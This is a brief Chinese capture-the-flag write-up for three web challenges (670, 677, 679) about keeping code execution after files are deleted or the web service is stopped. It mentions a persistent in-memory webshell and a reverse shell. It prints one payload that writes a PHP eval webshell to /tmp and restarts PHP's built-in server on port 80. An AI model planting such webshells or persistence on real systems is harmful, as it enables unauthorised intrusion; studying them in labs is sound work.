web670
思路一:rm rf 不会删除.开头的文件。
写不了.开头的文件,故放弃。
思路二:内存马(不死马)
这个应该是预期解,参考链接 分享一个Php免杀和一个隐蔽内存马 - FreeBuf网络安全行业门户
payload:
1 | GET:?action=cmd |
然后访问shell.php即可rce。
思路三:反弹shell
跟内存马有点相似。
web677
跟之前的题目有了些许变化,在这个目录没有可写入权限,而eval只能执行一句话,所以我们之前的内存马payload用不上了。
但思路跟之前一样:删了文件但是不会删除进程。
所以
1 | GET:?action=cmd |
这个页面提交这个,打开另一个页面提交action=check。
然后等待就可以获得flag。
web679
这题难点在于会关闭web服务然后再生成flag。服务都关了,我们自然无法连接服务器,更无法获得flag。
所以我们需要再次启动web服务。由于是www-data权限,⽆法直接启动nginx和php-fpm,但是可以启动php内置服务器php -S 0.0.0.0:80,运行命令的根目录就被当成web服务根目录。
payload:
1 | cmd=system('cd /tmp;echo "<?php eval(\$_POST[1]);?>" > index.php;sleep 10;php -S 0.0.0.0:80'); |
一样的思路,check不会杀死进程,我们写入一个进程,功能是延迟10s后开启web服务。
然后等待就好,10s后,原本的网址会被映射到/tmp,然后rce即可(注意,连接的网址不变)